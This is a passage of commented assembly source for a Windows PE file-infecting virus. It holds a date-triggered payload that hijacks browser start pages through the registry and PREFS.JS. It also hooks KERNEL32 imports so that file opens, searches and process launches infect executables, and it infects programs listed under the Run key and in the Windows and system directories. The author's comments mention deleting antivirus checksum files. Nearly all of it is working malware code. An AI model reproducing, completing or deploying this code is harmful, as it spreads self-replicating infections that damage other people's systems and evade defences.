InicAddressFor0 dd 0
|
||
xor eax, eax ; EAX=6726D43Ah :P
|
||
mov ecx, Virus_SizePOW2 / 4 ; ECX=Virtual size in dwords
|
||
rep stosd ; Overwrite!
|
||
mov eax, 12345678h ; Before, we put here the address to
|
||
org $-4 ; ExitProcess
|
||
ExitProcessAddr dd 0
|
||
; push 0 ; Push ExitProcess return value
|
||
; It's set from before!
|
||
call eax ; Return
|
||
ZeroingFunction endp
|
||
ZeroingFunctionEnd label dword
|
||
; NOTE: When I was commenting this code (now, for me :), I realized that an
|
||
; infected application always will return 0 as errorlevel when ExitProcess,
|
||
; because I push a 0 before calling ExitProcess. The correct way of doing this
|
||
; would be get the value from stack and push it now, since it comes from a
|
||
; call to ExitProcess that we patched. I realized of this "bug" after sending
|
||
; the final version to AVers, so I didn't correct it on this source. Now it's
|
||
; corrected.
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;; PAYLOAD ;;
|
||
;; ;;
|
||
;; On the first and third Friday of the month, the start pages of Netscape ;;
|
||
;; and Internet Explorer are changed to "http://www.thehungersite.com". ;;
|
||
;; The first really useful payload in the viruscene history! (Well, I dunno ;;
|
||
;; if it is the first, but I like to think it :) ;;
|
||
;; ;;
|
||
;; It's not as easy as it could seem! ;;
|
||
;; Internet Explorer --> We modify the registry entry where the start page ;;
|
||
;; is especified ;;
|
||
;; Netscape --> We get the directories of all the users via the registry ;;
|
||
;; and add a line to the file PREFS.JS setting a new start ;;
|
||
;; page ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
KEY_ALL_ACCESS equ 000F003Fh ; Values for the registry functions
|
||
HKEY_CLASSES_ROOT equ 80000000h
|
||
HKEY_CURRENT_USER equ 80000001h
|
||
HKEY_LOCAL_MACHINE equ 80000002h
|
||
HKEY_USERS equ 80000003h
|
||
|
||
Payload proc
|
||
lea eax, [ebp+SystemTime]
|
||
push eax
|
||
call dword ptr [ebp+RVA_GetSystemTime] ; Get date and time
|
||
cmp word ptr [ebp+DayOfWeek], 5 ; Friday?
|
||
jnz @@EndOfPayload ; If not, end
|
||
cmp word ptr [ebp+Day], 7 ; First week of the month?
|
||
jbe @@DoPayload ; If not, end
|
||
cmp word ptr [ebp+Day], 14 ; Second week discarded
|
||
jbe @@EndOfPayload
|
||
cmp word ptr [ebp+Day], 21 ; Third week of the month?
|
||
ja @@EndOfPayload ; If not, end
|
||
@@DoPayload:
|
||
; We load ADVAPI32.DLL. It's normally loaded, but in this way we'll get
|
||
; the module handle, and just in case if it's not loaded.
|
||
|
||
call LoadRegistryFunctions
|
||
or eax, eax
|
||
jz @@EndOfPayload
|
||
|
||
call ModifyInternetExplorer ; Self-explanatory names ;)
|
||
call ModifyNetscapeNavigator
|
||
push dword ptr [ebp+HandleADVAPI32]
|
||
call dword ptr [ebp+RVA_FreeLibrary]
|
||
@@EndOfPayload:
|
||
ret
|
||
Payload endp
|
||
|
||
;;; Registry functions
|
||
RegistryDLL db 'advapi32.dll',0
|
||
ASC_RegistryFunctions label dword
|
||
ASC_RegOpenKeyExA db 'RegOpenKeyExA',0
|
||
ASC_RegCloseKey db 'RegCloseKey',0
|
||
ASC_RegSetValueExA db 'RegSetValueExA',0
|
||
ASC_RegEnumKeyA db 'RegEnumKeyA',0
|
||
ASC_RegQueryValueExA db 'RegQueryValueExA',0
|
||
ASC_RegEnumValueA db 'RegEnumValueA',0
|
||
db 0
|
||
|
||
HandleADVAPI32 dd 0
|
||
org HandleADVAPI32
|
||
HandleOpenedKey dd 0
|
||
RVA_RegistryFunctions label dword
|
||
RVA_RegOpenKeyExA dd 0
|
||
RVA_RegCloseKey dd 0
|
||
RVA_RegSetValueExA dd 0
|
||
RVA_RegEnumKeyA dd 0
|
||
RVA_RegQueryValueExA dd 0
|
||
RVA_RegEnumValueA dd 0
|
||
|
||
;; This function modifies the start page of Internet Explorer. The easiest
|
||
;; one, not as much as complicated to get as the Netscape one.
|
||
ModifyInternetExplorer proc
|
||
lea eax, [ebp+HandleOpenedKey]
|
||
push eax
|
||
push KEY_ALL_ACCESS
|
||
push 0
|
||
lea eax, [ebp+IExplorerKey]
|
||
push eax
|
||
push HKEY_CURRENT_USER
|
||
call dword ptr [ebp+RVA_RegOpenKeyExA]
|
||
; This just opened:
|
||
; HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
|
||
or eax, eax ; Error?
|
||
jnz @@End ; End if error
|
||
|
||
push LongNombrePagina ; Store the size of the new value
|
||
lea eax, [ebp+Pagina] ; Store the address
|
||
push eax
|
||
push 1 ; Some necessary values
|
||
push 0
|
||
lea eax, [ebp+IExplorerValue] ; Store the address of the
|
||
push eax ; value
|
||
push dword ptr [ebp+HandleOpenedKey] ; Now the handle...
|
||
call dword ptr [ebp+RVA_RegSetValueExA] ; ...and change it
|
||
; If error, we close. If not, we close :)
|
||
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegCloseKey] ; Close key handle
|
||
@@End: ret
|
||
ModifyInternetExplorer endp
|
||
|
||
;; This is the page to set
|
||
Pagina db 'http://www.thehungersite.com',0
|
||
LongNombrePagina equ $ - offset Pagina
|
||
|
||
;; This is the path into the registry to set the page to. I don't think this
|
||
;; key will change in the future, since many programs use it to set its own
|
||
;; start page.
|
||
IExplorerKey db 'Software\Microsoft\Internet Explorer\Main',0
|
||
IExplorerValue db 'Start Page',0
|
||
|
||
;; The difficult one. Well, it's not difficult when you see it made, but it's
|
||
;; complicated to get. Since there isn't any registry key to set the start
|
||
;; page, I had to search the autoconfig (PREFS.JS) and invent a manner of
|
||
;; modifying it without many problems. I tried to map that file and move the
|
||
;; whole text after the java function that sets the start page, to make a hole
|
||
;; big enough to set the function (if the old start page were bigger, you can
|
||
;; fill with spaces), but that was a pain in the ass. Then, after a good men-
|
||
;; tal exercise :), I tried the trick I use now. Since the file is a java file
|
||
;; setting values, if you add a line at the end setting a new value, you over-
|
||
;; write the last value. It's like doing MOV AX,1234 and later MOV AX,2345 (or
|
||
;; the C equivalent).
|
||
ModifyNetscapeNavigator proc
|
||
; This variable is used for RegEnumKeyA
|
||
mov dword ptr [ebp+SubkeyIndex], 0
|
||
@@LoopOpeningSubkeys:
|
||
mov byte ptr [ebp+NetscapeKeyEnd-1], 0 ; Put this to 0
|
||
lea eax, [ebp+HandleOpenedKey]
|
||
push eax
|
||
push KEY_ALL_ACCESS
|
||
push 0
|
||
lea eax, [ebp+NetscapeKey]
|
||
push eax
|
||
push HKEY_LOCAL_MACHINE
|
||
call dword ptr [ebp+RVA_RegOpenKeyExA]
|
||
; Here, we opened the key:
|
||
; HKEY_LOCAL_MACHINE\Software\Netscape\Netscape Navigator\Users'
|
||
|
||
or eax, eax ; Error?
|
||
jnz @@End ; Exit, then
|
||
|
||
; We get the subkeys in the recently opened key. That are the users
|
||
; registered on the Netscape Navigator. It's like making FindFirstFile
|
||
; and FindNextFile in a directory, but easier, since we use an index
|
||
; to get the relative key.
|
||
push 80h
|
||
lea eax, [ebp+ReceivingBuffer]
|
||
push eax
|
||
push dword ptr [ebp+SubkeyIndex]
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegEnumKeyA]
|
||
or eax, eax ; Error getting subkey?
|
||
jnz @@EndOfKeys ; If error, exit
|
||
|
||
mov byte ptr [ebp+NetscapeKeyEnd-1], '\' ; Put this there
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegCloseKey] ; Close key (I know
|
||
; that maybe is a foolness, but
|
||
; I did it by a reason. I don't
|
||
; remember it, but there is a
|
||
; reason :).
|
||
lea eax, [ebp+HandleOpenedKey]
|
||
push eax
|
||
push KEY_ALL_ACCESS
|
||
push 0
|
||
lea eax, [ebp+NetscapeKey]
|
||
push eax
|
||
push HKEY_LOCAL_MACHINE
|
||
call dword ptr [ebp+RVA_RegOpenKeyExA] ; Open the retrieved
|
||
or eax, eax ; subkey
|
||
jnz @@End
|
||
|
||
mov dword ptr [ebp+LongBuffer], 80h
|
||
lea eax, [ebp+LongBuffer]
|
||
push eax
|
||
lea eax, [ebp+ReceivingBuffer]
|
||
push eax
|
||
push 0
|
||
push 0
|
||
lea eax, [ebp+NetscapeValue]
|
||
push eax
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegQueryValueExA]
|
||
; Now we get the value of "DirRoot", where the directory of this user
|
||
; is specified.
|
||
or eax, eax ; Error?
|
||
jnz @@EndOfKeys ; Exit, then
|
||
|
||
call ModifyPrefs ; Add the "magic" line to PREFS.JS
|
||
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegCloseKey] ; Close the key
|
||
inc dword ptr [ebp+SubkeyIndex] ; Increase number for
|
||
; enumerating function
|
||
jmp @@LoopOpeningSubkeys ; Loop
|
||
|
||
@@EndOfKeys: push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegCloseKey] ; Close Netscape key
|
||
@@End: ret ; Return
|
||
ModifyNetscapeNavigator endp
|
||
|
||
SubkeyIndex dd 0
|
||
LongBuffer dd 0
|
||
LongBuffer2 dd 0
|
||
|
||
LineToAddToPrefs db 'user_pref("browser.startup.homepage", "http://www.thehungersite.com");',0dh,0ah
|
||
SizeLineToAdd equ $ - offset LineToAddToPrefs
|
||
|
||
NetscapePrefsFile db '\prefs.js',0
|
||
SizeNamePrefs equ $ - offset NetscapePrefsFile
|
||
|
||
NetscapeKey db 'Software\Netscape\Netscape Navigator\Users\'
|
||
NetscapeKeyEnd label byte
|
||
ReceivingBuffer db 80h dup (0)
|
||
NetscapeValue db 'DirRoot',0
|
||
|
||
;; This function adds the line
|
||
;; user_pref("browser.startup.homepage", "http://www.thehungersite.com");
|
||
;; to PREFS.JS. In this way, the next time Netscape Navigator is runned, the
|
||
;; start page will be set to http://www.thehungersite.com
|
||
ModifyPrefs proc
|
||
mov ecx, dword ptr [ebp+LongBuffer]
|
||
lea edi, [ebp+ReceivingBuffer]
|
||
dec ecx
|
||
add edi, ecx
|
||
lea esi, [ebp+NetscapePrefsFile]
|
||
mov ecx, SizeNamePrefs
|
||
cld
|
||
rep movsb ; Create a full path to PREFS.JS
|
||
|
||
push 0
|
||
push 0
|
||
push 3
|
||
push 0
|
||
push 0
|
||
push 0c0000000h
|
||
lea eax, [ebp+ReceivingBuffer]
|
||
push eax
|
||
call dword ptr [ebp+RVA_CreateFileA] ; Open PREFS.JS
|
||
inc eax
|
||
jz @@End ; If error, exit
|
||
dec eax
|
||
mov [ebp+FileHandle], eax
|
||
push 2 ;Relative pointer position (same as INT 21h/AH=42h!)
|
||
push 0
|
||
push 0
|
||
push eax
|
||
call dword ptr [ebp+RVA_SetFilePointer] ; Put the file
|
||
; pointer at the end
|
||
inc eax
|
||
jz @@Close ; If error, exit
|
||
dec eax
|
||
push 0
|
||
lea eax, [ebp+LongBuffer]
|
||
push eax
|
||
push SizeLineToAdd
|
||
lea eax, [ebp+LineToAddToPrefs]
|
||
push eax
|
||
push dword ptr [ebp+FileHandle]
|
||
call dword ptr [ebp+RVA_WriteFile] ; Write the line at the
|
||
; end of the file
|
||
@@Close: push dword ptr [ebp+FileHandle]
|
||
call dword ptr [ebp+RVA_CloseHandle] ; Close file hangle
|
||
@@End: ret ; Return
|
||
ModifyPrefs endp
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;
|
||
;; PER-PROCESS RESIDENCY: SETTING AND INFECTION
|
||
;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
ImageBase dd 400000h
|
||
|
||
PatchImportDirectory proc
|
||
db 0B8h ; MOV EAX,xxxxxxxx
|
||
ImageBase2 dd 400000h ; Image base, set on infection time
|
||
mov ebx, [eax+3Ch]
|
||
add ebx, eax
|
||
cmp word ptr [ebx], 'EP' ; Check if PE header
|
||
jnz @@End ; If not, end
|
||
mov ecx, [ebx+84h] ; ECX=Size of import data
|
||
mov ebx, [ebx+80h]
|
||
add ebx, eax ; EBX=RVA of import directory header
|
||
@@SearchModule: mov esi, [ebx+0Ch]
|
||
or esi, esi
|
||
jz @@End
|
||
add esi, eax ; ESI=RVA to the module name
|
||
@@ToLowerCase: mov edx, [esi] ; Get the first four characters
|
||
call ToLower
|
||
cmp edx, 'nrek' ; Is it 'kern'?
|
||
jnz @@NextModule ; If not, it's not kernel32
|
||
mov edx, [esi+4] ; Get next 4 chars
|
||
call ToLower
|
||
cmp edx, '23le' ; 'el32'?
|
||
jz @@Found ; If it is, we've found KERNEL32
|
||
@@NextModule: add ebx, 14h ; Next module in import directory
|
||
sub ecx, 14h ; Have we finished?
|
||
jnz @@SearchModule ; If not, scan next module
|
||
jmp @@End ; Finish if we arrived to the end
|
||
|
||
@@Found: mov esi, [ebx+10h] ; Get the RVA to the array of imported
|
||
add esi, eax ; functions in ESI
|
||
cld
|
||
|
||
lea ebx, [ebp+FunctionsToPatch]
|
||
@@Loop_001: mov edi, ebx
|
||
lodsd ; Load RVA to function
|
||
or eax, eax ; If 0, error, so exit
|
||
jz @@End
|
||
mov ecx, 10h ; Check that address with the ones got
|
||
repnz scasd ; directly from KERNEL32
|
||
jnz @@Loop_001
|
||
or ecx, ecx
|
||
jnz @@Next
|
||
lea eax, [esi-4]
|
||
mov [ebp+ExitProcessInImport], eax
|
||
; jmp @@Loop_001
|
||
@@Next: sub edi, ebx ; If someone coincides, patch it with
|
||
mov eax, [ebp+edi+FunctionsAddress-4] ; ours
|
||
add eax, ebp
|
||
|
||
pushad
|
||
mov dword ptr [ebp+DwordToWrite], eax
|
||
push 0
|
||
push 4
|
||
lea eax, [ebp+DwordToWrite]
|
||
push eax
|
||
lea eax, [esi-4]
|
||
push eax
|
||
call dword ptr [ebp+RVA_GetCurrentProcess]
|
||
push eax
|
||
call dword ptr [ebp+RVA_WriteProcessMemory]
|
||
; mov [esi-4], eax
|
||
jmp @@Loop_001 ; Next function in the import array
|
||
@@End: ret
|
||
PatchImportDirectory endp
|
||
|
||
DwordToWrite dd 0
|
||
|
||
FunctionsAddress label dword
|
||
dd offset My_GetProcAddress ; This ones are the addresses to the
|
||
dd offset My_CreateFileA ; per-process functions. This addresses
|
||
dd offset My_CreateProcessA ; plus the delta offset are stored into
|
||
dd offset My_FindFirstFileA ; the array of imported functions to
|
||
dd offset My_FindNextFileA ; patch them, so if the host call any
|
||
dd offset My_GetFileAttributesA ; of this functions the virus takes
|
||
dd offset My_SetFileAttributesA ; the control and performs the infec-
|
||
dd offset My_GetFullPathNameA ; tion activities.
|
||
dd offset My_MoveFileA
|
||
dd offset My_CopyFileA
|
||
dd offset My_DeleteFileA
|
||
dd offset My_WinExec
|
||
dd offset My__lopen
|
||
dd offset My_MoveFileExA
|
||
dd offset My_OpenFile
|
||
dd offset My_ExitProcess
|
||
|
||
;,,,,,,,,,,,,,,,,,,,,,,,,,
|
||
;; PER-PROCESS FUNCTIONS ;
|
||
;'''''''''''''''''''''''''
|
||
GetDelta proc
|
||
mov eax, 12345678h ; This is set on run-time, at the
|
||
org $-4 ; beginning. It's shorter than making
|
||
DeltaOffset2 dd 0 ; a CALL/POP/SUB in every function
|
||
ret
|
||
GetDelta endp
|
||
|
||
|
||
; GetProcAddress: Patching this we ensure that the host receives our function
|
||
; address rather than the KERNEL32 one. In this way, if
|
||
; GetProcAddress is used over one of the patched functions to
|
||
; call that address directly, it'll call our function first.
|
||
My_GetProcAddress proc
|
||
call GetDelta ; EAX=Delta offset
|
||
push ecx ; Save ECX
|
||
add eax, offset @@ReturnHere ; Calculate return
|
||
; address
|
||
mov ecx, eax ; Put it on ECX...
|
||
xchg eax, [esp+4] ; ...and substitute the return
|
||
; into the stack by ours.
|
||
mov [ecx+1], eax ; Save the real return address
|
||
; in [ReturnGetProcAddress]
|
||
pop ecx ; Restore ECX
|
||
call GetDelta ; Get delta in EAX...
|
||
mov eax, [eax+RVA_GetProcAddress] ; and jump to
|
||
jmp eax ; GetProcAddress, but return...
|
||
; ...here!
|
||
@@ReturnHere: db 68h
|
||
ReturnGetProcAddress dd 0 ; Push return to host (set before)
|
||
or eax, eax ; EAX=0?
|
||
jz @@Return ; Error, so return
|
||
pushad ; Save all
|
||
push eax ; Save function address
|
||
call GetDelta
|
||
xchg ebp, eax ; EBP=Delta offset
|
||
pop eax ; Restore function address
|
||
lea esi, [ebp+RVA_GetProcAddress]
|
||
; ESI=Begin address of functions
|
||
lea edi, [ebp+RVA_GetProcAddress+10h*4]
|
||
; EDI=End address of functions
|
||
mov ebx, esi
|
||
xchg ecx, eax
|
||
@@Loop_GPA: lodsd ; Load first RVA
|
||
cmp eax, ecx ; Compare the kernel returned RVA
|
||
; with the RVA that we got scanning
|
||
; the kernel at first
|
||
jnz @@Next_GPA ; If it isn't equal, jump
|
||
sub esi, ebx ; Put in ESI the address of the per-
|
||
add esi, ebp ; process function
|
||
mov eax, [esi+FunctionsAddress+4] ; Load it
|
||
mov [esp+1Ch], eax ; Substitute RVA to function
|
||
; by our function address
|
||
jmp @@Return2 ; End
|
||
@@Next_GPA: cmp esi, edi ; Already at the end of the array?
|
||
jnz @@Loop_GPA ; If not, loop
|
||
@@Return2: popad ; Restore registers
|
||
@@Return: ret ;Return to host with the substituted RVA (if done)
|
||
My_GetProcAddress endp
|
||
|
||
;; CreateFileA: Infection on opening
|
||
My_CreateFileA proc
|
||
call GetDelta ; EAX=Delta offset
|
||
mov eax, [eax+RVA_CreateFileA] ; EAX=RVA to func.
|
||
; jmp InfectByPerProcess ; Jump to common part
|
||
My_CreateFileA endp
|
||
|
||
InfectByPerProcess proc
|
||
push eax ; Save RVA to function
|
||
pushad
|
||
call GetDelta
|
||
xchg ebp, eax ; EBP=Delta offset
|
||
mov ebx, [esp+28h] ; EBX=RVA to the name of the
|
||
; file to operate
|
||
InfectThisPath: lea eax, [ebp+FindFileField] ; EAX=RVA to data
|
||
; storage
|
||
push eax ; Store it to use FindFirstFile
|
||
push ebx ; Store the RVA to the name of the file
|
||
call dword ptr [ebp+RVA_FindFirstFileA] ; Find it
|
||
inc eax
|
||
jz @@Return ; If error (not found), return
|
||
dec eax
|
||
mov esi, ebx
|
||
lea edi, [ebp+FileName]
|
||
cld
|
||
@@LoopCopy:
|
||
movsb
|
||
cmp byte ptr [edi-1], 0
|
||
jnz @@LoopCopy
|
||
|
||
push eax ; Save handle
|
||
call InfectFile ; Infect that file using the data
|
||
; in FindFileField
|
||
call dword ptr [ebp+RVA_FindClose] ; Close the
|
||
; pushed handle
|
||
@@Return: popad ; Restore regs
|
||
ret ; Jump to kernel function
|
||
InfectByPerProcess endp
|
||
|
||
InfectDirectly proc
|
||
pushad
|
||
jmp InfectThisPath
|
||
InfectDirectly endp
|
||
|
||
;; CreateProcessA: Infection on execution
|
||
My_CreateProcessA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_CreateProcessA]
|
||
jmp InfectByPerProcess
|
||
My_CreateProcessA endp ; EAX=RVA to Kernel32.CreateProcessA
|
||
|
||
FindFirstIdent db 0 ; This is used to identify FindFirstFileA or
|
||
; FindNextFileA
|
||
|
||
; FindNextFileA: Infection by file enumeration
|
||
My_FindNextFileA proc
|
||
call GetDelta ; EAX=Delta offset
|
||
mov byte ptr [eax+FindFirstIdent], 0
|
||
jmp Common_FindFile
|
||
My_FindNextFileA endp
|
||
|
||
My_FindFirstFileA proc
|
||
call GetDelta ; EAX=Delta offset
|
||
mov byte ptr [eax+FindFirstIdent], 1
|
||
Common_FindFile: add eax, offset @@ReturnHere ; EAX=Return address
|
||
; for calling the KERNEL32 function
|
||
; and returning here and not to the
|
||
; host
|
||
push ecx ; Save ECX
|
||
mov ecx, eax ; ECX=Return address
|
||
xchg eax, [esp+4] ; Set it onto stack and EAX is
|
||
; now the return address to the
|
||
; host
|
||
mov [ecx+1], eax ; Save it in @@ReturnHere+1
|
||
mov eax, [esp+0Ch] ; We put the buffer address...
|
||
mov [ecx+0Dh], eax ; ...here
|
||
pop ecx ; We restore ECX
|
||
call GetDelta ; EAX = Delta offset
|
||
cmp byte ptr [eax+FindFirstIdent], 1
|
||
jz @@PutFindFirst ; If =1, call to FindFirstFileA
|
||
@@PutFindNext: mov eax, [eax+RVA_FindNextFileA]
|
||
jmp eax ; Call FindNextFileA
|
||
@@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA]
|
||
jmp eax ; Call FindFirstFileA
|
||
@@ReturnHere: db 68h ; PUSH Value
|
||
dd 0 ; +1
|
||
pushad ; +5 ; Save registers
|
||
inc eax ; +6 ; Error?
|
||
jnz @@ItsOK ; +7 ; If not, jump
|
||
dec eax ; +9 ; Restore EAX
|
||
jmp @@Return ; +A ; Return to host
|
||
@@ItsOK: db 0BEh ; MOV ESI,Value ; +C ; ESI=Address to
|
||
@@ESIValue: dd 0 ; +D ; data field
|
||
call GetDelta
|
||
xchg ebp, eax ; EBP=Delta offset
|
||
lea edi, [ebp+FindFileField] ; EDI=Our data field
|
||
mov ecx, FindFileFieldSize ; Copy the data retrie-
|
||
cld ; ved by the function to our
|
||
rep movsb ; data field
|
||
dec byte ptr [ebp+InfectFileNow] ; Decrease infec-
|
||
; tion counter
|
||
jnz @@Return ; If it's not 0, don't infect
|
||
mov byte ptr [ebp+InfectFileNow], 3 ; Set this to
|
||
; 3, to infect only one of
|
||
; every three files listed by
|
||
; this function
|
||
call InfectFile ; Infect file
|
||
@@Return: popad
|
||
ret ; Restore regs and return
|
||
My_FindFirstFileA endp
|
||
|
||
InfectFileNow db 3 ; Infection counter
|
||
|
||
; GetFileAttributesA: Infection by getting attributes
|
||
My_GetFileAttributesA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_GetFileAttributesA]
|
||
jmp InfectByPerProcess
|
||
My_GetFileAttributesA endp ; EAX=RVA to Kernel32.GetFileAttributesA
|
||
|
||
; SetFileAttributesA: Infection by setting attributes
|
||
My_SetFileAttributesA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_SetFileAttributesA]
|
||
jmp InfectByPerProcess
|
||
My_SetFileAttributesA endp ; EAX=RVA to Kernel32.SetFileAttributesA
|
||
|
||
; GetFullPathNameA: Infection by getting the full path name of a file
|
||
My_GetFullPathNameA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_GetFullPathNameA]
|
||
jmp InfectByPerProcess
|
||
My_GetFullPathNameA endp ; EAX=RVA to Kernel32.GetFullPathNameA
|
||
|
||
; MoveFileA: Infection by moving a file
|
||
My_MoveFileA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_MoveFileA]
|
||
jmp InfectByPerProcess
|
||
My_MoveFileA endp ; EAX=RVA to Kernel32.MoveFileA
|
||
|
||
; CopyFileA: Infection by copying a file
|
||
My_CopyFileA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_CopyFileA]
|
||
jmp InfectByPerProcess
|
||
My_CopyFileA endp ; EAX=RVA to Kernel32.CopyFileA
|
||
|
||
; DeleteFileA: Infection by deleting a file.
|
||
; Although it could seem stupid, remember the Recycle Bin!
|
||
My_DeleteFileA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_DeleteFileA]
|
||
jmp InfectByPerProcess
|
||
My_DeleteFileA endp ; EAX=RVA to Kernel32.DeleteFileA
|
||
|
||
; WinExec: Infection by execution (old Win32, for compatibility with Win16)
|
||
My_WinExec proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_WinExec]
|
||
jmp InfectByPerProcess
|
||
My_WinExec endp ; EAX=RVA to Kernel32.WinExec
|
||
|
||
; _lopen: Infection by opening (old Win32, for compatibility with Win16)
|
||
My__lopen proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA__lopen]
|
||
jmp InfectByPerProcess
|
||
My__lopen endp ; EAX=RVA to Kernel32._lopen
|
||
|
||
; MoveFileExA: Infection by moving (extended, but the same as MoveFileA)
|
||
My_MoveFileExA proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_MoveFileExA]
|
||
jmp InfectByPerProcess
|
||
My_MoveFileExA endp ; EAX=RVA to Kernel32.MoveFileExA
|
||
|
||
; OpenFile: Infection by opening (old Win32, earlier than CreateFileA)
|
||
My_OpenFile proc
|
||
call GetDelta
|
||
mov eax, [eax+RVA_OpenFile]
|
||
jmp InfectByPerProcess
|
||
My_OpenFile endp ; EAX=RVA to Kernel32.OpenFile
|
||
|
||
My_ExitProcess proc ; Patch ExitProcess just in case the applica-
|
||
jmp LastFunction ; tion calls it without making an
|
||
My_ExitProcess endp ; explicit call (and thus it can't
|
||
; be patched)
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;;;
|
||
;;; RUN-TIME INFECTION
|
||
;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;; This will infect one file of each four in the current, windows and system
|
||
;; directory (as always). If the files AVP.CRC, ANTI-VIR.DAT, CHKLIST.MS or
|
||
;; IVB.NTZ are found, they'll be deleted.
|
||
RuntimeInfection proc
|
||
call LoadSFCFunctions ; Load SFC.DLL library
|
||
call LoadIMAGEHLPFunctions ; Load IMAGEHLP.DLL library
|
||
|
||
call LoadRegistryFunctions
|
||
or eax, eax
|
||
jz @@NoRegistry
|
||
|
||
;;; Infectar directamente varios paths
|
||
;;; de programas instalados
|
||
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\
|
||
; \WinZip
|
||
; HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
|
||
mov dword ptr [ebp+SubkeyIndex], 0
|
||
|
||
mov byte ptr [ebp+RunKeyEnd-1], 0
|
||
lea eax, [ebp+HandleOpenedKey]
|
||
push eax
|
||
push KEY_ALL_ACCESS
|
||
push 0
|
||
lea eax, [ebp+RunKey]
|
||
push eax
|
||
push HKEY_LOCAL_MACHINE
|
||
call dword ptr [ebp+RVA_RegOpenKeyExA]
|
||
or eax, eax
|
||
jnz @@EndOfKeys
|
||
@@LoopSubkeys:
|
||
lea eax, [ebp+LongBuffer]
|
||
mov dword ptr [eax], 80h
|
||
push eax
|
||
lea eax, [ebp+Directory2]
|
||
push eax
|
||
push 0
|
||
push 0
|
||
lea eax, [ebp+LongBuffer2]
|
||
mov dword ptr [eax], 80h
|
||
push eax
|
||
lea eax, [ebp+Directory1]
|
||
push eax
|
||
push dword ptr [ebp+SubkeyIndex]
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegEnumValueA]
|
||
or eax, eax ; Error?
|
||
jnz @@EndOfKeys ; Exit, then
|
||
|
||
lea esi, [ebp+Directory2]
|
||
mov ecx, 80h
|
||
@@LoopSearchExtension:
|
||
cmp byte ptr [esi], 0
|
||
jz @@NextSubkey
|
||
dec ecx
|
||
jz @@NextSubkey
|
||
inc esi
|
||
mov edx, [esi]
|
||
call ToLower
|
||
cmp edx, 'exe.'
|
||
jnz @@LoopSearchExtension
|
||
cmp byte ptr [esi+4], 0
|
||
jz @@NameOK
|
||
cmp byte ptr [esi+4], 20h
|
||
jnz @@LoopSearchExtension
|
||
mov byte ptr [esi+4], 0
|
||
@@NameOK:
|
||
lea ebx, [ebp+Directory2]
|
||
call InfectDirectly
|
||
|
||
@@NextSubkey:
|
||
inc dword ptr [ebp+SubkeyIndex]
|
||
jmp @@LoopSubkeys
|
||
|
||
@@EndOfKeys2:
|
||
push dword ptr [ebp+HandleOpenedKey]
|
||
call dword ptr [ebp+RVA_RegCloseKey]
|
||
@@EndOfKeys:
|
||
push dword ptr [ebp+HandleADVAPI32]
|
||
call dword ptr [ebp+RVA_FreeLibrary]
|
||
|
||
@@NoRegistry:
|
||
call InfectCurrentDir ; Self-explanatory ;)
|
||
lea eax, [ebp+Directory2]
|
||
push eax
|
||
push 80h
|
||
call dword ptr [ebp+RVA_GetCurrentDirectoryA] ; Save the
|
||
; current directory
|
||
call InfectWindowsDir ; Infect the Win dir
|
||
call InfectSystemDir ; Infect windows\system dir
|
||
lea eax, [ebp+Directory2] ; Restore the current dir
|
||
push eax
|
||
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
||
cmp dword ptr [ebp+HandleSFC], 0
|
||
jz @@Next1
|
||
push dword ptr [ebp+HandleSFC]
|
||
call dword ptr [ebp+RVA_FreeLibrary]
|
||
@@Next1:
|
||
cmp dword ptr [ebp+HandleIMAGEHLP], 0
|
||
jz @@Next2
|
||
push dword ptr [ebp+HandleIMAGEHLP]
|
||
call dword ptr [ebp+RVA_FreeLibrary]
|
||
@@Next2:
|
||
xor eax, eax
|
||
mov dword ptr [ebp+HandleSFC], eax
|
||
mov dword ptr [ebp+HandleIMAGEHLP], eax
|
||
mov dword ptr [ebp+RVA_CheckSumMappedFile], eax
|
||
mov dword ptr [ebp+RVA_SfcIsFileProtected], eax
|
||
ret ; Return
|
||
RuntimeInfection endp
|
||
|
||
RunKey db 'Software\Microsoft\Windows\CurrentVersion\Run\'
|
||
RunKeyEnd label byte
|
||
Directory1 db 80h dup (0) ; Place to get the windows, etc. dirs
|
||
